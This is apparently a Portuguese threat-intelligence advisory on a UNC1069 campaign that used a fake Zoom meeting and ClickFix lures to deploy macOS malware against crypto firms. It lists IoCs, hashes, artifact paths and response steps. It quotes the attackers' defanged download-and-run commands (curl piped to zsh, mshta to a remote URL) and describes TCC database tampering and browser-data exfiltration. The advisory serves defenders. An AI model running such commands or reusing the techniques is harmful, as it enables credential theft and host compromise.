Intrusão em ambiente FinTech combinou conta comprometida do Telegram, página falsa do Zoom, execução manual de comandos e sete famílias de malware para roubo de credenciais, cookies e dados de sessão em macOS.
| Componente | Campanha do UNC1069 contra entidades de criptomoedas e DeFi, com foco em macOS e uso de WAVESHAPER, HYPERCALL, HIDDENCALL, SUGARLOADER, SILENCELIFT, DEEPBREATH e CHROMEPUSH. |
| Vetor | Engenharia social por Telegram usando conta previamente comprometida, convite via Calendly, reunião falsa do Zoom em zoom[.]uswe05[.]us e técnica ClickFix para induzir a vítima a executar comandos de diagnóstico. |
| Impacto | Roubo de credenciais do Keychain, cookies, dados de navegadores Chromium, sessões do Telegram, dados do Apple Notes, informações do host, possível controle interativo e persistência por daemon de inicialização. |
| Prioridade | Investigar hosts macOS de usuários ligados a criptoativos, bloquear os domínios observados, revisar persistência em LaunchDaemons, coletar artefatos de XPdb, Rosetta cache, TCC e diretórios de Native Messaging. |
| Artefatos | Comandos observados incluem curl -A audio -s hxxp://mylingocoin[.]com/audio/fix/6454694440 | zsh no macOS e mshta hxxp://mylingocoin[.]com/audio/fix/6454694440 no Windows. |
| IoCs | Infraestrutura citada: mylingocoin[.]com, zoom[.]uswe05[.]us, breakdream[.]com, dreamdie[.]com, support-zoom[.]us, supportzm[.]com, zmsupport[.]com e cmailer[.]pro. |
O UNC1069, ator financeiramente motivado com histórico de atividade desde pelo menos 2018 e provável vínculo com a Coreia do Norte, foi associado a uma intrusão direcionada contra uma entidade FinTech do ecossistema de criptomoedas e finanças descentralizadas. A operação não dependeu de exploração de vulnerabilidade pública ou entrega massiva de anexos; o acesso inicial foi construído por interação direta com a vítima, uso de uma conta legítima do Telegram já sequestrada e condução para uma falsa reunião do Zoom. Dentro desse fluxo, a vítima recebeu instruções de correção de áudio que misturavam comandos aparentemente benignos com uma chamada de rede responsável por iniciar a cadeia de infecção.
A campanha é relevante para defesa porque concentrou um volume incomum de ferramentas em um único host, incluindo backdoors, downloaders e coletores de dados escritos em C++, Go e Swift. O conjunto observado combinou WAVESHAPER para primeira execução maliciosa, HYPERCALL para busca e carregamento de bibliotecas dinâmicas, HIDDENCALL para acesso interativo, SUGARLOADER para implantação adicional, SILENCELIFT para beaconing de informações do host, DEEPBREATH para manipulação do banco TCC do macOS e CHROMEPUSH para captura de dados de navegadores Chromium. A finalidade operacional foi obter credenciais, cookies, tokens de sessão, dados de mensageria e informações suficientes para viabilizar roubo financeiro e novas campanhas de engenharia social.
A sequência começou com contato pelo Telegram a partir de uma identidade confiável para a vítima. Após a criação de confiança, o operador enviou um link de agendamento e direcionou o alvo para uma reunião hospedada em infraestrutura controlada pelo adversário. Durante a chamada, a vítima relatou ter visto um vídeo de executivo que aparentava ter sido gerado ou manipulado por IA; não há comprovação forense independente desse uso específico, portanto o ponto defensivo mais importante é a função da isca: criar autoridade visual suficiente para sustentar a execução de comandos locais. O falso problema de áudio foi usado para aplicar ClickFix, técnica em que o operador convence o usuário a executar comandos sob o pretexto de resolver uma falha técnica.
No macOS, a página de suporte falsa entregava comandos como system_profiler SPAudioData, softwareupdate --evaluate-products --products audio --agree-to-license e, no meio da sequência, curl -A audio -s hxxp://mylingocoin[.]com/audio/fix/6454694440 | zsh. Esse último comando baixava e encaminhava conteúdo diretamente para zsh, eliminando a etapa de gravação explícita do script em disco pelo usuário. Para Windows, a página continha comandos de enumeração e diagnóstico de áudio, mas também incluía mshta hxxp://mylingocoin[.]com/audio/fix/6454694440, capaz de buscar e executar conteúdo remoto por meio de um binário legítimo do sistema. A intrusão analisada avançou em macOS, com indícios de execução de AppleScript logo após a chamada inicial, embora o conteúdo desse payload não tenha sido recuperado.
Depois do AppleScript, o primeiro binário malicioso Mach-O implantado foi WAVESHAPER, backdoor em C++ empacotado por ferramenta não identificada. Ele atuou como ponto de distribuição para estágios posteriores, executando em segundo plano por bifurcação de processo e coletando dados como usuário, nome da máquina, fuso horário, tempo de inicialização obtido por sysctlbyname("kern.boottime"), softwares instalados recentemente, modelo de hardware, CPU, versão do sistema operacional e lista de processos. Os payloads baixados por esse componente eram gravados em caminhos temporários que seguem o padrão /tmp/\.[A-Za-z0-9]{6}, uma característica útil para varredura retrospectiva em telemetria de endpoint e snapshots forenses.
HYPERCALL, downloader em Go para macOS, recuperava bibliotecas dinâmicas de servidores de comando e controle definidos em configuração cifrada com RC4. A configuração precisava existir junto ao binário e podia ser armazenada em /Library/SystemSettings/.CacheLogs.db; a comunicação observada usava WebSocket sobre porta TCP 443 com wss://supportzm[.]com e wss://zmsupport[.]com. Após registrar o cliente com mensagem JSON contendo type igual a loader, o componente solicitava binário para darwin, recebia blocos até o marcador end_chunks, enviava down_ok e carregava a biblioteca em memória. O carregamento reflexivo usou NSCreateObjectFileImageFromMemory, comportamento que pode deixar arquivos temporários em /tmp/ com nomes no padrão NSCreateObjectFileImageFromMemory-[A-Za-z0-9]{8} e gerar artefatos no cache Rosetta quando o payload x86_64 roda em sistemas Apple Silicon.
O estágio HIDDENCALL forneceu acesso interativo e compartilhou sinais de desenvolvimento com HYPERCALL, incluindo símbolos com convenção t_, uso de funções relacionadas a configuração, RC4, envio de arquivos, execução de comandos, compressão ZIP, manipulação de diretórios, shell interativo e alteração de diretório. Em paralelo, SILENCELIFT funcionou como backdoor minimalista em C/C++ com beaconing para support-zoom[.]us, leitura de identificador em /Library/Caches/.Logs.db e coleta do estado de bloqueio de tela. Quando executado com privilégios de root, esse componente tinha capacidade de interferir em comunicações do Telegram enquanto se comunicava com o servidor remoto, o que amplia o risco para identidades já usadas no fluxo de engenharia social.
A superfície principal é composta por usuários de alto valor no setor de criptoativos, incluindo equipes de exchanges centralizadas, empresas de software financeiro, provedores de carteira, staking, pagamentos, corretagem, fundos de venture capital e desenvolvedores com acesso a ambientes corporativos ou repositórios sensíveis. O alvo técnico mais detalhado no incidente foi macOS, mas a própria página falsa continha fluxo alternativo para Windows, indicando que o operador preparou a interação para mais de um sistema operacional. A exposição não depende de o host estar vulnerável a uma CVE específica; a condição crítica é a execução voluntária de comandos colados pelo usuário sob pressão social.
DEEPBREATH, escrito em Swift, ampliou a coleta por manipulação do banco de privacidade TCC.db. Em vez de solicitar permissões pela interface do sistema, o malware usou o Finder como caminho para renomear a pasta TCC do usuário, copiar o banco para uma área temporária, inserir permissões para acesso a diretórios como Desktop, Documents e Downloads e restaurar o banco modificado ao local original. A técnica depende do fato de o Finder possuir Full Disk Access, permissão necessária para alterar o banco TCC específico do usuário. Após obter esse acesso, o malware buscou login.keychain-db, dados de Chrome, Brave e Microsoft Edge, arquivos de duas variantes do Telegram e bases do Apple Notes, depois preparou os dados em diretório temporário, compactou em ZIP e exfiltrou por curl.
SUGARLOADER, downloader C++ já associado a intrusões anteriores do mesmo ator, apareceu como mecanismo para entregar CHROMEPUSH. A amostra usava configuração em /Library/OSRecovery/com.apple.os.config, cifrada com RC4 e chave rígida de 32 bytes, contendo até duas URLs de próximo estágio, com breakdream[.]com:443 e dreamdie[.]com:443 citados na configuração recuperada. A persistência foi instalada por um daemon em /Library/LaunchDaemons/com.apple.system.updater.plist, apontando para /Library/OSRecovery/SystemUpdater, com execução em carregamento e manutenção por KeepAlive. Como o binário analisado não criava essa persistência por conta própria, a criação do plist indica ação manual ou execução por outro componente já presente no host.
CHROMEPUSH, coletor em C++, se instalou como Native Messaging Host para navegadores baseados em Chromium. Em Google Chrome, o binário foi copiado para %HOME%/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs e acompanhado do manifesto com.google.docs.offline.json, com descrição que imitava integração do Google Docs offline e origem permitida chrome-extension://hennhnddfkgohngcngmflkmejacokfik/. O componente criou diretório base em %HOME%/Library/Application Support/com.apple.os.receipts, leu configuração em setting.db, usou opções como cap_on, coo_on e key_on, e preparou arquivos com prefixos CA, KL e CK_ para capturas, teclas e cookies antes de enviar dados para hxxp://cmailer[.]pro:80/upload.
- Usuários de macOS em funções de engenharia, finanças, operações de carteira, exchange, staking, pagamentos, corretagem e investimento em criptoativos.
- Navegadores Google Chrome, Brave, Arc e Microsoft Edge quando há criação de subdiretórios em
%HOME%/Library/Application Support/com.apple.os.receiptscom identificadoresc,b,a,eouu. - Hosts com artefatos em
/Library/OSRecovery,/Library/SystemSettings,/Library/Caches,/Library/Fonts,/Library/LaunchDaemonse diretórios deNativeMessagingHostssob o perfil do usuário. - Contas de Telegram usadas por executivos, funcionários e contatos externos, especialmente quando uma identidade conhecida envia convite para reunião e solicita comandos de suporte técnico.
A investigação deve priorizar a reconstrução temporal da execução. Em macOS, o banco /var/protected/xprotect/XPdb pode conter registros do XProtect Behavioral Service com caminhos, hashes SHA-256 e carimbos de tempo de programas que violaram regras comportamentais. Esse registro é especialmente útil quando amostras foram removidas antes da coleta, pois a detecção comportamental do XProtect não implica bloqueio ou quarentena automática. A correlação entre XPdb, Unified Logs, histórico de shell, eventos de criação de processo, FSEvents, Launch Services, artefatos de Rosetta e diretórios temporários pode estabelecer a ordem entre comando inicial, AppleScript, WAVESHAPER, HYPERCALL, HIDDENCALL, SUGARLOADER, SILENCELIFT, DEEPBREATH e CHROMEPUSH.
Equipes de endpoint devem procurar comandos que misturam diagnóstico de áudio com download remoto, especialmente curl com user-agent audio encaminhado para zsh, execução de softwareupdate --evaluate-products, chamadas a system_profiler para classes de áudio e uso de mshta para URLs externas em estáções Windows. Também é importante correlacionar tráfego para domínios de aparência relacionada a Zoom ou suporte, como zoom[.]uswe05[.]us, support-zoom[.]us, supportzm[.]com e zmsupport[.]com, além de hosts usados para entrega e exfiltração. O domínio mylingocoin[.]com aparece como origem do payload inicial, enquanto cmailer[.]pro foi identificado como servidor de upload do coletor de navegador.
No host, a presença de /Library/LaunchDaemons/com.apple.system.updater.plist com ProgramArguments apontando para /Library/OSRecovery/SystemUpdater deve ser tratada como indicador de persistência maliciosa quando não houver justificativa administrativa. Os hashes citados para validação incluem b452C2da7c012eda25a1403b3313444b5eb7C2c3e25eee489f1bd256f8434735 para DEEPBREATH, 1a30d6cdb0b98feed62563be8050db55ae0156ed437701d36a7b46aabf086ede para SUGARLOADER, b525837273dde06b86b5f93f9aeC2C29665324105b0b66f6df81884754f8080d para WAVESHAPER, c8f7608d4e19f6cb03680941bbd09fe969668bcb09c7ca985048a22e014dffcd para HYPERCALL, 603848f37ab932dccef98ee27e3c5af9221d3b6ccfe457ccf93cb572495ac325 para CHROMEPUSH, c3e5d878a30a6c46e22d1dd2089b32086c91f13f8b9c413aa84e1dbaa03b9375 para SILENCELIFT e 03f00a143b8929585c122d490b6a3895d639c17d92C2223917e3a9ca1b8d30f9 para configuração de HYPERCALL.
- Execução de
curl -A audio -s hxxp://mylingocoin[.]com/audio/fix/6454694440 | zsh,mshta hxxp://mylingocoin[.]com/audio/fix/6454694440ou comandos de áudio imediatamente antes de criação de binários em diretórios de sistema. - Arquivos ou processos em
/Library/Caches/System Settings,/Library/Caches/com.apple.mond,/Library/SystemSettings/com.apple.system.settings,/Library/Fonts/com.apple.logde/Library/OSRecovery/SystemUpdater. - Criação ou alteração de
/Library/LaunchDaemons/com.apple.system.updater.plist,/Library/SystemSettings/.CacheLogs.db,/Library/OSRecovery/com.apple.os.confige/Library/Caches/.Logs.db. - Manifests de Native Messaging como
com.google.docs.offline.jsone binários disfarçados deGoogle Chrome DocsouBrave Browser Docsem diretórios de suporte de navegadores. - Alterações no
TCC.db, cópias temporárias de bases do Apple Notes, Telegram, Keychain e perfis de Chrome, Brave ou Edge, seguidas por arquivos ZIP e exfiltração viacurl.
A resposta deve começar pelo isolamento dos hosts com execução dos comandos de ClickFix ou presença dos artefatos citados, preservando memória, XPdb, Unified Logs, Rosetta cache, diretórios temporários, arquivos plist, bancos TCC e perfis de navegador antes da limpeza. Como o objetivo da campanha é capturar material reutilizável, a contenção não deve se limitar à remoção do malware. É necessário invalidar sessões de navegador, Telegram e serviços de criptoativos, revogar tokens, trocar senhas de contas acessadas no host, rotacionar chaves de API e revisar permissões de repositórios, carteiras, painéis de exchange, provedores de infraestrutura e sistemas de CI/CD que possam ter sido acessados a partir da máquina comprometida.
A limpeza do macOS deve remover a persistência em LaunchDaemons, validar a integridade de /Library/OSRecovery, /Library/SystemSettings, /Library/Caches, /Library/Fonts e dos diretórios de Native Messaging, e restaurar políticas de privacidade quando o TCC.db tiver sido alterado. Em ambientes com MDM, é recomendável coletar inventário de Full Disk Access, restringir execução de scripts colados no terminal por treinamento e controles de shell, monitorar curl | zsh, bloquear mshta para usuários que não precisam desse binário no Windows e aplicar regras de proxy para impedir acesso a domínios usados por reuniões falsas ou downloaders. Organizações do setor Web3 também devem tratar contas pessoais de executivos como parte da superfície de ataque quando essas identidades são usadas para iniciar contato com funcionários.
Para reduzir recorrência, convites externos de reunião que exigem comandos de suporte devem ser bloqueados por processo e por controle técnico. Playbooks de help desk podem estabelecer que falhas de áudio não exigem execução de comandos recebidos em chat, e ferramentas de segurança podem alertar quando system_profiler, softwareupdate, curl, zsh, osascript, mshta ou pnputil aparecem em uma mesma janela temporal após navegação para domínios recém-observados. A detecção deve combinar IoCs com comportamento, porque a infraestrutura pode mudar rapidamente, enquanto o padrão operacional permanece: identidade confiável comprometida, reunião falsa, falso problema técnico, execução manual induzida, download de Mach-O ou script, coleta de dados locais e uso de credenciais roubadas para monetização ou novas abordagens.
- Bloquear
mylingocoin[.]com,zoom[.]uswe05[.]us,breakdream[.]com,dreamdie[.]com,support-zoom[.]us,supportzm[.]com,zmsupport[.]comecmailer[.]proem DNS, proxy e EDR quando aplicável. - Coletar e preservar
/var/protected/xprotect/XPdb, Unified Logs, Rosetta cache, histórico de shell, FSEvents, plists de inicialização, bancos TCC e diretórios de navegador antes de remover arquivos. - Revogar cookies e sessões, rotacionar senhas, chaves de API, tokens de carteira, credenciais de exchange, credenciais de nuvem e segredos de CI/CD que tenham estado acessíveis no host.
- Remover Native Messaging Hosts não autorizados, extensões suspeitas e manifests que imitam Google Docs offline ou usam caminhos fora do padrão corporativo aprovado.
- Aplicar treinamento e controles para impedir comandos de suporte recebidos por Telegram, chat externo ou páginas de reunião, com alerta específico para
curl | zshemshtaapontando para URLs não confiáveis.
0 Comentários